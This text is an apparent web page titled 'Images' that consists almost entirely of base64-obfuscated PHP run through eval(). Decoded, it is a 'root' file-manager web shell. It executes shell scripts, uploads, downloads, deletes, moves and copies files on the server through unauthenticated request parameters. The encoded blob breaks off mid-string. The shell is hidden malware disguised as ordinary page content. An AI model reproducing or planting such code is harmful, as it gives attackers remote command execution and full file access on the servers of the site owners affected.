Images
-

eval(base64_decode('LyoNCiAqIHhoYWhheC1yb290LnBocA0KICogQ29weXJpZ2h0IChDKSAyMDA4IDx4N184OEBob3Rt YWlsLmNvbT4NCiAqIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiAqIDx4N184OEBob3RtYWlsLmNvbT4NCiAq ICAgIHhoYWhheC1yb290LnBocCBjb21wbGV0ZWx5IHJld3JpdHRlbjoNCiAqICAgIC0gY2xlYW4g WEhUTUwvQ1NTIG91dHB1dA0KICogICAgLSBzZXZlcmFsIGZpbGVzIHNlbGVjdGFibGUNCiAqICAg IC0gc3VwcG9ydCBmb3Igd2luZG93cyBzZXJ2ZXJzDQogKiAgICAtIG5vIG1vcmUgdHJlZXZpZXcs IGJlY2F1c2UNCiAqICAgIC0geGhhaGF4LXJvb3QucGhwIGlzIGEgPnNpbXBsZTwgZmlsZSBtYW5h Z2VyDQogKiAgICAtIHBlcmZvcm1hbmNlIHByb2JsZW1zICh0b28gbXVjaCBhZGRpdGlvbmFsIGNv ZGUpDQogKiAgICAtIEkgZG9uJ3QgbGlrZTogZnJhbWVzLCBqYXZhLXNjcmlwdCwgdG8gcmVsb2Fk IGFmdGVyIGV2ZXJ5IHRyZWV2aWV3LWNsaWNrDQogKiAgICAtIGV4ZWN1dGlvbiBvZiBzaGVsbCBz Y3JpcHRzDQogKiAgICAtIGludHJvZHVjZWQgcmV2aXNpb24gbnVtYmVycw0KLyogLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLSAqLw0KDQovKiBZb3VyIGxhbmd1YWdlOg0KICogJ2VuJyAtIEVuZ2xpc2gNCiAqLw0K JGxhbmcgPSAnZW4nOw0KDQovKiBDaGFyc2V0IG9mIHlvdXIgZmlsZW5hbWVzOg0KICovDQokY2hh cnNldCA9ICdJU08tODg1OS0xJzsNCg0KLyogSG9tZWRpcjoNCiAqIEZvciBleGFtcGxlOiAnLi8n IC0gdGhlIHNjcmlwdCdzIGRpcmVjdG9yeQ0KICovDQokaG9tZWRpciA9ICcuLyc7DQoNCi8qIFNp emUgb2YgdGhlIGVkaXQgdGV4dGFyZWENCiAqLw0KJGVkaXRjb2xzID0gNzI7DQokZWRpdHJvd3Mg PSAxODsNCg0KLyogLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0K ICogT3B0aW9uYWwgY29uZmlndXJhdGlvbiAocmVtb3ZlICMgdG8gZW5hYmxlKQ0KICovDQoNCi8q IFBlcm1pc3Npb24gb2YgY3JlYXRlZCBkaXJlY3RvcmllczoNCiAqIEZvciBleGFtcGxlOiAwNzA1 IHdvdWxkIGJlICdkcnd4LS0tci14Jy4NCiAqLw0KIyAkZGlycGVybWlzc2lvbiA9IDA3MDU7DQoN Ci8qIFBlcm1pc3Npb24gb2YgY3JlYXRlZCBmaWxlczoNCiAqIEZvciBleGFtcGxlOiAwNjA0IHdv dWxkIGJlICctcnctLS0tci0tJy4NCiAqLw0KIyAkZmlsZXBlcm1pc3Npb24gPSAwNjA0Ow0KDQov KiBGaWxlbmFtZXMgcmVsYXRlZCB0byB0aGUgYXBhY2hlIHdlYiBzZXJ2ZXI6DQogKi8NCiRodGFj Y2VzcyA9ICcuaHRhY2Nlc3MnOw0KJGh0cGFzc3dkID0gJy5odHBhc3N3ZCc7DQoNCi8qIC0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0gKi8NCg0KaWYgKGdldF9tYWdpY19xdW90ZXNfZ3BjKCkpIHsNCglhcnJheV93 YWxrKCRfR0VULCAnc3RyaXAnKTsNCglhcnJheV93YWxrKCRfUE9TVCwgJ3N0cmlwJyk7DQoJYXJy YXlfd2FsaygkX1JFUVVFU1QsICdzdHJpcCcpOw0KfQ0KDQppZiAoYXJyYXlfa2V5X2V4aXN0cygn aW1hZ2UnLCAkX0dFVCkpIHsNCgloZWFkZXIoJ0NvbnRlbnQtVHlwZTogaW1hZ2UvZ2lmJyk7DQoJ ZGllKGdldGltYWdlKCRfR0VUWydpbWFnZSddKSk7DQp9DQoNCiRkZWxpbSA9IERJUkVDVE9SWV9T RVBBUkFUT1I7DQoNCmlmIChmdW5jdGlvbl9leGlzdHMoJ3BocF91bmFtZScpKSB7DQoJJHdpbiA9 IChzdHJ0b3VwcGVyKHN1YnN0cihQSFBfT1MsIDAsIDMpKSA9PT0gJ1dJTicpID8gdHJ1ZSA6IGZh bHNlOw0KfSBlbHNlIHsNCgkkd2luID0gKCRkZWxpbSA9PSAnXFwnKSA/IHRydWUgOiBmYWxzZTsN Cn0NCg0KaWYgKCFlbXB0eSgkX1NFUlZFUlsnUEFUSF9UUkFOU0xBVEVEJ10pKSB7DQoJJHNjcmlw dGRpciA9IGRpcm5hbWUoJF9TRVJWRVJbJ1BBVEhfVFJBTlNMQVRFRCddKTsNCn0gZWxzZWlmICgh ZW1wdHkoJF9TRVJWRVJbJ1NDUklQVF9GSUxFTkFNRSddKSkgew0KCSRzY3JpcHRkaXIgPSBkaXJu YW1lKCRfU0VSVkVSWydTQ1JJUFRfRklMRU5BTUUnXSk7DQp9IGVsc2VpZiAoZnVuY3Rpb25fZXhp c3RzKCdnZXRjd2QnKSkgew0KCSRzY3JpcHRkaXIgPSBnZXRjd2QoKTsNCn0gZWxzZSB7DQoJJHNj cmlwdGRpciA9ICcuJzsNCn0NCiRob21lZGlyID0gcmVsYXRpdmUyYWJzb2x1dGUoJGhvbWVkaXIs ICRzY3JpcHRkaXIpOw0KDQokZGlyID0gKGFycmF5X2tleV9leGlzdHMoJ2RpcicsICRfUkVRVUVT VCkpID8gJF9SRVFVRVNUWydkaXInXSA6ICRob21lZGlyOw0KDQppZiAoYXJyYXlfa2V5X2V4aXN0 cygnb2xkZGlyJywgJF9QT1NUKSAmJiAhcGF0aF9pc19yZWxhdGl2ZSgkX1BPU1RbJ29sZGRpcidd KSkgew0KCSRkaXIgPSByZWxhdGl2ZTJhYnNvbHV0ZSgkZGlyLCAkX1BPU1RbJ29sZGRpciddKTsN Cn0NCg0KJGRpcmVjdG9yeSA9IHNpbXBsaWZ5X3BhdGgoYWRkc2xhc2goJGRpcikpOw0KDQokZmls ZXMgPSBhcnJheSgpOw0KJGFjdGlvbiA9ICcnOw0KaWYgKCFlbXB0eSgkX1BPU1RbJ3N1Ym1pdF9h bGwnXSkpIHsNCgkkYWN0aW9uID0gJF9QT1NUWydhY3Rpb25fYWxsJ107DQoJZm9yICgkaSA9IDA7 ICRpIDwgJF9QT1NUWydudW0nXTsgJGkrKykgew0KCQlpZiAoYXJyYXlfa2V5X2V4aXN0cygiY2hl Y2tlZCRpIiwgJF9QT1NUKSAmJiAkX1BPU1RbImNoZWNrZWQkaSJdID09ICd0cnVlJykgew0KCQkJ JGZpbGVzW10gPSAkX1BPU1RbImZpbGUkaSJdOw0KCQl9DQoJfQ0KfSBlbHNlaWYgKCFlbXB0eSgk X1JFUVVFU1RbJ2FjdGlvbiddKSkgew0KCSRhY3Rpb24gPSAkX1JFUVVFU1RbJ2FjdGlvbiddOw0K CSRmaWxlc1tdID0gcmVsYXRpdmUyYWJzb2x1dGUoJF9SRVFVRVNUWydmaWxlJ10sICRkaXJlY3Rv cnkpOw0KfSBlbHNlaWYgKCFlbXB0eSgkX1BPU1RbJ3N1Ym1pdF91cGxvYWQnXSkgJiYgIWVtcHR5 KCRfRklMRVNbJ3VwbG9hZCddWyduYW1lJ10pKSB7DQoJJGZpbGVzW10gPSAkX0ZJTEVTWyd1cGxv YWQnXTsNCgkkYWN0aW9uID0gJ3VwbG9hZCc7DQp9IGVsc2VpZiAoYXJyYXlfa2V5X2V4aXN0cygn bnVtJywgJF9QT1NUKSkgew0KCWZvciAoJGkgPSAwOyAkaSA8ICRfUE9TVFsnbnVtJ107ICRpKysp IHsNCgkJaWYgKGFycmF5X2tleV9leGlzdHMoInN1Ym1pdCRpIiwgJF9QT1NUKSkgYnJlYWs7DQoJ fQ0KCWlmICgkaSA8ICRfUE9TVFsnbnVtJ10pIHsNCgkJJGFjdGlvbiA9ICRfUE9TVFsiYWN0aW9u JGkiXTsNCgkJJGZpbGVzW10gPSAkX1BPU1RbImZpbGUkaSJdOw0KCX0NCn0NCmlmIChlbXB0eSgk YWN0aW9uKSAmJiAoIWVtcHR5KCRfUE9TVFsnc3VibWl0X2NyZWF0ZSddKSB8fCAoYXJyYXlfa2V5 X2V4aXN0cygnZm9jdXMnLCAkX1BPU1QpICYmICRfUE9TVFsnZm9jdXMnXSA9PSAnY3JlYXRlJykp ICYmICFlbXB0eSgkX1BPU1RbJ2NyZWF0ZV9uYW1lJ10pKSB7DQoJJGZpbGVzW10gPSByZWxhdGl2 ZTJhYnNvbHV0ZSgkX1BPU1RbJ2NyZWF0ZV9uYW1lJ10sICRkaXJlY3RvcnkpOw0KCXN3aXRjaCAo JF9QT1NUWydjcmVhdGVfdHlwZSddKSB7DQoJY2FzZSAnZGlyZWN0b3J5JzoNCgkJJGFjdGlvbiA9 ICdjcmVhdGVfZGlyZWN0b3J5JzsNCgkJYnJlYWs7DQoJY2FzZSAnZmlsZSc6DQoJCSRhY3Rpb24g PSAnY3JlYXRlX2ZpbGUnOw0KCX0NCn0NCmlmIChzaXplb2YoJGZpbGVzKSA9PSAwKSAkYWN0aW9u ID0gJyc7IGVsc2UgJGZpbGUgPSByZXNldCgkZmlsZXMpOw0KDQokd29yZHMgPSBnZXR3b3Jkcygk bGFuZyk7DQoNCiRjb2xzID0gKCR3aW4pID8gNCA6IDc7DQoNCmlmICghaXNzZXQoJGRpcnBlcm1p c3Npb24pKSB7DQoJJGRpcnBlcm1pc3Npb24gPSAoZnVuY3Rpb25fZXhpc3RzKCd1bWFzaycpKSA/ ICgwNzc3ICYgfnVtYXNrKCkpIDogMDc1NTsNCn0NCmlmICghaXNzZXQoJGZpbGVwZXJtaXNzaW9u KSkgew0KCSRmaWxlcGVybWlzc2lvbiA9IChmdW5jdGlvbl9leGlzdHMoJ3VtYXNrJykpID8gKDA2 NjYgJiB+dW1hc2soKSkgOiAwNjQ0Ow0KfQ0KDQppZiAoIWVtcHR5KCRfU0VSVkVSWydTQ1JJUFRf TkFNRSddKSkgew0KCSRzZWxmID0gaHRtbChiYXNlbmFtZSgkX1NFUlZFUlsnU0NSSVBUX05BTUUn XSkpOw0KfSBlbHNlaWYgKCFlbXB0eSgkX1NFUlZFUlsnUEhQX1NFTEYnXSkpIHsNCgkkc2VsZiA9 IGh0bWwoYmFzZW5hbWUoJF9TRVJWRVJbJ1BIUF9TRUxGJ10pKTsNCn0gZWxzZSB7DQoJJHNlbGYg PSAnJzsNCn0NCg0KaWYgKCFlbXB0eSgkX1NFUlZFUlsnU0VSVkVSX1NPRlRXQVJFJ10pKSB7DQoJ aWYgKHN0cnRvbG93ZXIoc3Vic3RyKCRfU0VSVkVSWydTRVJWRVJfU09GVFdBUkUnXSwgMCwgNikp ID09ICdhcGFjaGUnKSB7DQoJCSRhcGFjaGUgPSB0cnVlOw0KCX0gZWxzZSB7DQoJCSRhcGFjaGUg PSBmYWxzZTsNCgl9DQp9IGVsc2Ugew0KCSRhcGFjaGUgPSB0cnVlOw0KfQ0KDQpzd2l0Y2ggKCRh Y3Rpb24pIHsNCg0KY2FzZSAndmlldyc6DQoNCglpZiAoaXNfc2NyaXB0KCRmaWxlKSkgew0KDQoJ CS8qIGhpZ2hsaWdodF9maWxlIGlzIGEgbWVzcyEgKi8NCgkJb2Jfc3RhcnQoKTsNCgkJaGlnaGxp Z2h0X2ZpbGUoJGZpbGUpOw0KCQkkc3JjID0gZXJlZ19yZXBsYWNlKCc8Zm9udCBjb2xvcj0iKFte Il0qKSI+JywgJzxzcGFuIHN0eWxlPSJjb2xvcjogXDEiPicsIG9iX2dldF9jb250ZW50cygpKTsN CgkJJHNyYyA9IHN0cl9yZXBsYWNlKGFycmF5KCc8L2ZvbnQ+JywgIlxyIiwgIlxuIiksIGFycmF5 KCc8L3NwYW4+JywgJycsICcnKSwgJHNyYyk7DQoJCW9iX2VuZF9jbGVhbigpOw0KDQoJCWh0bWxf aGVhZGVyKCk7DQoJCWVjaG8gJzxoMiBzdHlsZT0idGV4dC1hbGlnbjogbGVmdDsgbWFyZ2luLWJv dHRvbTogMCI+JyAuIGh0bWwoJGZpbGUpIC4gJzwvaDI+DQoNCjxociAvPg0KDQo8dGFibGU+DQo8 dHI+DQo8dGQgc3R5bGU9InRleHQtYWxpZ246IHJpZ2h0OyB2ZXJ0aWNhbC1hbGlnbjogdG9wOyBj b2xvcjogZ3JheTsgcGFkZGluZy1yaWdodDogM3B0OyBib3JkZXItcmlnaHQ6IDFweCBzb2xpZCBn cmF5Ij4NCjxwcmUgc3R5bGU9Im1hcmdpbi10b3A6IDAiPjxjb2RlPic7DQoNCgkJZm9yICgkaSA9 IDE7ICRpIDw9IHNpemVvZihmaWxlKCRmaWxlKSk7ICRpKyspIGVjaG8gIiRpXG4iOw0KDQoJCWVj aG8gJzwvY29kZT48L3ByZT4NCjwvdGQ+DQo8dGQgc3R5bGU9InRleHQtYWxpZ246IGxlZnQ7IHZl cnRpY2FsLWFsaWduOiB0b3A7IHBhZGRpbmctbGVmdDogM3B0Ij4NCjxwcmUgc3R5bGU9Im1hcmdp bi10b3A6IDAiPicgLiAkc3JjIC4gJzwvcHJlPg0KPC90ZD4NCjwvdHI+DQo8L3RhYmxlPg0KDQon Ow0KDQoJCWh0bWxfZm9vdGVyKCk7DQoNCgl9IGVsc2Ugew0KDQoJCWhlYWRlcignQ29udGVudC1U eXBlOiAnIC4gZ2V0bWltZXR5cGUoJGZpbGUpKTsNCgkJaGVhZGVyKCdDb250ZW50LURpc3Bvc2l0 aW9uOiBmaWxlbmFtZT0nIC4gYmFzZW5hbWUoJGZpbGUpKTsNCg0KCQlyZWFkZmlsZSgkZmlsZSk7 DQoNCgl9DQoNCglicmVhazsNCg0KY2FzZSAnZG93bmxvYWQnOg0KDQoJaGVhZGVyKCdQcmFnbWE6 IHB1YmxpYycpOw0KCWhlYWRlcignRXhwaXJlczogMCcpOw0KCWhlYWRlcignQ2FjaGUtQ29udHJv bDogbXVzdC1yZXZhbGlkYXRlLCBwb3N0LWNoZWNrPTAsIHByZS1jaGVjaz0wJyk7DQoJaGVhZGVy KCdDb250ZW50LVR5cGU6ICcgLiBnZXRtaW1ldHlwZSgkZmlsZSkpOw0KCWhlYWRlcignQ29udGVu dC1EaXNwb3NpdGlvbjogYXR0YWNobWVudDsgZmlsZW5hbWU9JyAuIGJhc2VuYW1lKCRmaWxlKSAu ICc7Jyk7DQoJaGVhZGVyKCdDb250ZW50LUxlbmd0aDogJyAuIGZpbGVzaXplKCRmaWxlKSk7DQoN CglyZWFkZmlsZSgkZmlsZSk7DQoNCglicmVhazsNCg0KY2FzZSAndXBsb2FkJzoNCg0KCSRkZXN0 ID0gcmVsYXRpdmUyYWJzb2x1dGUoJGZpbGVbJ25hbWUnXSwgJGRpcmVjdG9yeSk7DQoNCglpZiAo QGZpbGVfZXhpc3RzKCRkZXN0KSkgew0KCQlsaXN0aW5nX3BhZ2UoZXJyb3IoJ2FscmVhZHlfZXhp c3RzJywgJGRlc3QpKTsNCgl9IGVsc2VpZiAoQG1vdmVfdXBsb2FkZWRfZmlsZSgkZmlsZVsndG1w X25hbWUnXSwgJGRlc3QpKSB7DQoJCWxpc3RpbmdfcGFnZShub3RpY2UoJ3VwbG9hZGVkJywgJGZp bGVbJ25hbWUnXSkpOw0KCX0gZWxzZSB7DQoJCWxpc3RpbmdfcGFnZShlcnJvcignbm90X3VwbG9h ZGVkJywgJGZpbGVbJ25hbWUnXSkpOw0KCX0NCg0KCWJyZWFrOw0KDQpjYXNlICdjcmVhdGVfZGly ZWN0b3J5JzoNCg0KCWlmIChAZmlsZV9leGlzdHMoJGZpbGUpKSB7DQoJCWxpc3RpbmdfcGFnZShl cnJvcignYWxyZWFkeV9leGlzdHMnLCAkZmlsZSkpOw0KCX0gZWxzZSB7DQoJCSRvbGQgPSBAdW1h c2soMDc3NyAmIH4kZGlycGVybWlzc2lvbik7DQoJCWlmIChAbWtkaXIoJGZpbGUsICRkaXJwZXJt aXNzaW9uKSkgew0KCQkJbGlzdGluZ19wYWdlKG5vdGljZSgnY3JlYXRlZCcsICRmaWxlKSk7DQoJ CX0gZWxzZSB7DQoJCQlsaXN0aW5nX3BhZ2UoZXJyb3IoJ25vdF9jcmVhdGVkJywgJGZpbGUpKTsN CgkJfQ0KCQlAdW1hc2soJG9sZCk7DQoJfQ0KDQoJYnJlYWs7DQoNCmNhc2UgJ2NyZWF0ZV9maWxl JzoNCg0KCWlmIChAZmlsZV9leGlzdHMoJGZpbGUpKSB7DQoJCWxpc3RpbmdfcGFnZShlcnJvcign YWxyZWFkeV9leGlzdHMnLCAkZmlsZSkpOw0KCX0gZWxzZSB7DQoJCSRvbGQgPSBAdW1hc2soMDc3 NyAmIH4kZmlsZXBlcm1pc3Npb24pOw0KCQlpZiAoQHRvdWNoKCRmaWxlKSkgew0KCQkJZWRpdCgk ZmlsZSk7DQoJCX0gZWxzZSB7DQoJCQlsaXN0aW5nX3BhZ2UoZXJyb3IoJ25vdF9jcmVhdGVkJywg JGZpbGUpKTsNCgkJfQ0KCQlAdW1hc2soJG9sZCk7DQoJfQ0KDQoJYnJlYWs7DQoNCmNhc2UgJ2V4 ZWN1dGUnOg0KDQoJY2hkaXIoZGlybmFtZSgkZmlsZSkpOw0KDQoJJG91dHB1dCA9IGFycmF5KCk7 DQoJJHJldHZhbCA9IDA7DQoJZXhlYygnZWNobyAiLi8nIC4gYmFzZW5hbWUoJGZpbGUpIC4gJyIg fCAvYmluL3NoJywgJG91dHB1dCwgJHJldHZhbCk7DQoNCgkkZXJyb3IgPSAoJHJldHZhbCA9PSAw KSA/IGZhbHNlIDogdHJ1ZTsNCg0KCWlmIChzaXplb2YoJG91dHB1dCkgPT0gMCkgJG91dHB1dCA9 IGFycmF5KCc8JyAuICR3b3Jkc1snbm9fb3V0cHV0J10gLiAnPicpOw0KDQoJaWYgKCRlcnJvcikg ew0KCQlsaXN0aW5nX3BhZ2UoZXJyb3IoJ25vdF9leGVjdXRlZCcsICRmaWxlLCBpbXBsb2RlKCJc biIsICRvdXRwdXQpKSk7DQoJfSBlbHNlIHsNCgkJbGlzdGluZ19wYWdlKG5vdGljZSgnZXhlY3V0 ZWQnLCAkZmlsZSwgaW1wbG9kZSgiXG4iLCAkb3V0cHV0KSkpOw0KCX0NCg0KCWJyZWFrOw0KDQpj YXNlICdkZWxldGUnOg0KDQoJaWYgKCFlbXB0eSgkX1BPU1RbJ25vJ10pKSB7DQoJCWxpc3Rpbmdf cGFnZShudWxsKTsNCgl9IGVsc2VpZiAoIWVtcHR5KCRfUE9TVFsneWVzJ10pKSB7DQoNCgkJJGZh aWx1cmUgPSBhcnJheSgpOw0KCQkkc3VjY2VzcyA9IGFycmF5KCk7DQoNCgkJZm9yZWFjaCAoJGZp bGVzIGFzICRmaWxlKSB7DQoJCQlpZiAoZGVsKCRmaWxlKSkgew0KCQkJCSRzdWNjZXNzW10gPSAk ZmlsZTsNCgkJCX0gZWxzZSB7DQoJCQkJJGZhaWx1cmVbXSA9ICRmaWxlOw0KCQkJfQ0KCQl9DQoN CgkJJG1lc3NhZ2UgPSAnJzsNCgkJaWYgKHNpemVvZigkZmFpbHVyZSkgPiAwKSB7DQoJCQkkbWVz c2FnZSA9IGVycm9yKCdub3RfZGVsZXRlZCcsIGltcGxvZGUoIlxuIiwgJGZhaWx1cmUpKTsNCgkJ fQ0KCQlpZiAoc2l6ZW9mKCRzdWNjZXNzKSA+IDApIHsNCgkJCSRtZXNzYWdlIC49IG5vdGljZSgn ZGVsZXRlZCcsIGltcGxvZGUoIlxuIiwgJHN1Y2Nlc3MpKTsNCgkJfQ0KDQoJCWxpc3RpbmdfcGFn ZSgkbWVzc2FnZSk7DQoNCgl9IGVsc2Ugew0KDQoJCWh0bWxfaGVhZGVyKCk7DQoNCgkJZWNobyAn PGZvcm0gYWN0aW9uPSInIC4gJHNlbGYgLiAnIiBtZXRob2Q9InBvc3QiPg0KPHRhYmxlIGNsYXNz PSJkaWFsb2ciPg0KPHRyPg0KPHRkIGNsYXNzPSJkaWFsb2ciPg0KJzsNCg0KCQlyZXF1ZXN0X2R1 bXAoKTsNCg0KCQllY2hvICJcdDxiPiIgLiB3b3JkKCdyZWFsbHlfZGVsZXRlJykgLiAnPC9iPg0K CTxwPg0KJzsNCg0KCQlmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCgkJCWVjaG8gIlx0IiAu IGh0bWwoJGZpbGUpIC4gIjxiciAvPlxuIjsNCgkJfQ0KDQoJCWVjaG8gJwk8L3A+DQoJPGhyIC8+ DQoJPGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT0ibm8iIHZhbHVlPSInIC4gd29yZCgnbm8nKSAu ICciIGlkPSJyZWRfYnV0dG9uIiAvPg0KCTxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9InllcyIg dmFsdWU9IicgLiB3b3JkKCd5ZXMnKSAuICciIGlkPSJncmVlbl9idXR0b24iIHN0eWxlPSJtYXJn aW4tbGVmdDogNTBweCIgLz4NCjwvdGQ+DQo8L3RyPg0KPC90YWJsZT4NCjwvZm9ybT4NCg0KJzsN Cg0KCQlodG1sX2Zvb3RlcigpOw0KDQoJfQ0KDQoJYnJlYWs7DQoNCmNhc2UgJ3JlbmFtZSc6DQoN CglpZiAoIWVtcHR5KCRfUE9TVFsnZGVzdGluYXRpb24nXSkpIHsNCg0KCQkkZGVzdCA9IHJlbGF0 aXZlMmFic29sdXRlKCRfUE9TVFsnZGVzdGluYXRpb24nXSwgJGRpcmVjdG9yeSk7DQoNCgkJaWYg KCFAZmlsZV9leGlzdHMoJGRlc3QpICYmIEByZW5hbWUoJGZpbGUsICRkZXN0KSkgew0KCQkJbGlz dGluZ19wYWdlKG5vdGljZSgncmVuYW1lZCcsICRmaWxlLCAkZGVzdCkpOw0KCQl9IGVsc2Ugew0K CQkJbGlzdGluZ19wYWdlKGVycm9yKCdub3RfcmVuYW1lZCcsICRmaWxlLCAkZGVzdCkpOw0KCQl9 DQoNCgl9IGVsc2Ugew0KDQoJCWh0bWxfaGVhZGVyKCk7DQoNCgkJZWNobyAnPGZvcm0gYWN0aW9u PSInIC4gJHNlbGYgLiAnIiBtZXRob2Q9InBvc3QiPg0KDQo8dGFibGUgY2xhc3M9ImRpYWxvZyI+ DQo8dHI+DQo8dGQgY2xhc3M9ImRpYWxvZyI+DQoJPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0i YWN0aW9uIiB2YWx1ZT0icmVuYW1lIiAvPg0KCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImZp bGUiIHZhbHVlPSInIC4gaHRtbCgkZmlsZSkgLiAnIiAvPg0KCTxpbnB1dCB0eXBlPSJoaWRkZW4i IG5hbWU9ImRpciIgdmFsdWU9IicgLiBodG1sKCRkaXJlY3RvcnkpIC4gJyIgLz4NCgk8Yj4nIC4g d29yZCgncmVuYW1lX2ZpbGUnKSAuICc8L2I+DQoJPHA+JyAuIGh0bWwoJGZpbGUpIC4gJzwvcD4N Cgk8aHIgLz4NCgknIC4gd29yZCgnZGVzdGluYXRpb24nKSAuICc6DQoJPGlucHV0IHR5cGU9InRl eHQiIG5hbWU9ImRlc3RpbmF0aW9uIiBzaXplPSInIC4gdGV4dGZpZWxkc2l6ZSgkZmlsZSkgLiAn IiB2YWx1ZT0iJyAuIGh0bWwoJGZpbGUpIC4gJyIgLz4NCgk8aW5wdXQgdHlwZT0ic3VibWl0IiB2 YWx1ZT0iJyAuIHdvcmQoJ3JlbmFtZScpIC4gJyIgLz4NCjwvdGQ+DQo8L3RyPg0KPC90YWJsZT4N Cg0KPHA+PGEgaHJlZj0iJyAuICRzZWxmIC4gJz9kaXI9JyAuIHVybGVuY29kZSgkZGlyZWN0b3J5 KSAuICciPlsgJyAuIHdvcmQoJ2JhY2snKSAuICcgXTwvYT48L3A+DQoNCjwvZm9ybT4NCg0KJzsN Cg0KCQlodG1sX2Zvb3RlcigpOw0KDQoJfQ0KDQoJYnJlYWs7DQoNCmNhc2UgJ21vdmUnOg0KDQoJ aWYgKCFlbXB0eSgkX1BPU1RbJ2Rlc3RpbmF0aW9uJ10pKSB7DQoNCgkJJGRlc3QgPSByZWxhdGl2 ZTJhYnNvbHV0ZSgkX1BPU1RbJ2Rlc3RpbmF0aW9uJ10sICRkaXJlY3RvcnkpOw0KDQoJCSRmYWls dXJlID0gYXJyYXkoKTsNCgkJJHN1Y2Nlc3MgPSBhcnJheSgpOw0KDQoJCWZvcmVhY2ggKCRmaWxl cyBhcyAkZmlsZSkgew0KCQkJJGZpbGVuYW1lID0gc3Vic3RyKCRmaWxlLCBzdHJsZW4oJGRpcmVj dG9yeSkpOw0KCQkJJGQgPSAkZGVzdCAuICRmaWxlbmFtZTsNCgkJCWlmICghQGZpbGVfZXhpc3Rz KCRkKSAmJiBAcmVuYW1lKCRmaWxlLCAkZCkpIHsNCgkJCQkkc3VjY2Vzc1tdID0gJGZpbGU7DQoJ CQl9IGVsc2Ugew0KCQkJCSRmYWlsdXJlW10gPSAkZmlsZTsNCgkJCX0NCgkJfQ0KDQoJCSRtZXNz YWdlID0gJyc7DQoJCWlmIChzaXplb2YoJGZhaWx1cmUpID4gMCkgew0KCQkJJG1lc3NhZ2UgPSBl cnJvcignbm90X21vdmVkJywgaW1wbG9kZSgiXG4iLCAkZmFpbHVyZSksICRkZXN0KTsNCgkJfQ0K CQlpZiAoc2l6ZW9mKCRzdWNjZXNzKSA+IDApIHsNCgkJCSRtZXNzYWdlIC49IG5vdGljZSgnbW92 ZWQnLCBpbXBsb2RlKCJcbiIsICRzdWNjZXNzKSwgJGRlc3QpOw0KCQl9DQoNCgkJbGlzdGluZ19w YWdlKCRtZXNzYWdlKTsNCg0KCX0gZWxzZSB7DQoNCgkJaHRtbF9oZWFkZXIoKTsNCg0KCQllY2hv ICc8Zm9ybSBhY3Rpb249IicgLiAkc2VsZiAuICciIG1ldGhvZD0icG9zdCI+DQoNCjx0YWJsZSBj bGFzcz0iZGlhbG9nIj4NCjx0cj4NCjx0ZCBjbGFzcz0iZGlhbG9nIj4NCic7DQoNCgkJcmVxdWVz dF9kdW1wKCk7DQoNCgkJZWNobyAiXHQ8Yj4iIC4gd29yZCgnbW92ZV9maWxlcycpIC4gJzwvYj4N Cgk8cD4NCic7DQoNCgkJZm9yZWFjaCAoJGZpbGVzIGFzICRmaWxlKSB7DQoJCQllY2hvICJcdCIg LiBodG1sKCRmaWxlKSAuICI8YnIgLz5cbiI7DQoJCX0NCg0KCQllY2hvICcJPC9wPg0KCTxociAv Pg0KCScgLiB3b3JkKCdkZXN0aW5hdGlvbicpIC4gJzoNCgk8aW5wdXQgdHlwZT0idGV4dCIgbmFt ZT0iZGVzdGluYXRpb24iIHNpemU9IicgLiB0ZXh0ZmllbGRzaXplKCRkaXJlY3RvcnkpIC4gJyIg dmFsdWU9IicgLiBodG1sKCRkaXJlY3RvcnkpIC4gJyIgLz4NCgk8aW5wdXQgdHlwZT0ic3VibWl0 IiB2YWx1ZT0iJyAuIHdvcmQoJ21vdmUnKSAuICciIC8+DQo8L3RkPg0KPC90cj4NCjwvdGFibGU+ DQoNCjxwPjxhIGhyZWY9IicgLiAkc2VsZiAuICc/ZGlyPScgLiB1cmxlbmNvZGUoJGRpcmVjdG9y eSkgLiAnIj5bICcgLiB3b3JkKCdiYWNrJykgLiAnIF08L2E+PC9wPg0KDQo8L2Zvcm0+DQoNCic7 DQoNCgkJaHRtbF9mb290ZXIoKTsNCg0KCX0NCg0KCWJyZWFrOw0KDQpjYXNlICdjb3B5JzoNCg0K CWlmICghZW1wdHkoJF9QT1NUWydkZXN0aW5hdGlvbiddKSkgew0KDQoJCSRkZXN0ID0gcmVsYXRp dmUyYWJzb2x1dGUoJF9QT1NUWydkZXN0aW5hdGlvbiddLCAkZGlyZWN0b3J5KTsNCg0KCQlpZiAo QGlzX2RpcigkZGVzdCkpIHsNCg0KCQkJJGZhaWx1cmUgPSBhcnJheSgpOw0KCQkJJHN1Y2Nlc3Mg PSBhcnJheSgpOw0KDQoJCQlmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCgkJCQkkZmlsZW5h bWUgPSBzdWJzdHIoJGZpbGUsIHN0cmxlbigkZGlyZWN0b3J5KSk7DQoJCQkJJGQgPSBhZGRzbGFz aCgkZGVzdCkgLiAkZmlsZW5hbWU7DQoJCQkJaWYgKCFAaXNfZGlyKCRmaWxlKSAmJiAhQGZpbGVf ZXhpc3RzKCRkKSAmJiBAY29weSgkZmlsZSwgJGQpKSB7DQoJCQkJCSRzdWNjZXNzW10gPSAkZmls ZTsNCgkJCQl9IGVsc2Ugew0KCQkJCQkkZmFpbHVyZVtdID0gJGZpbGU7DQoJCQkJfQ0KCQkJfQ0K DQoJCQkkbWVzc2FnZSA9ICcnOw0KCQkJaWYgKHNpemVvZigkZmFpbHVyZSkgPiAwKSB7DQoJCQkJ JG1lc3NhZ2UgPSBlcnJvcignbm90X2NvcGllZCcsIGltcGxvZGUoIlxuIiwgJGZhaWx1cmUpLCAk 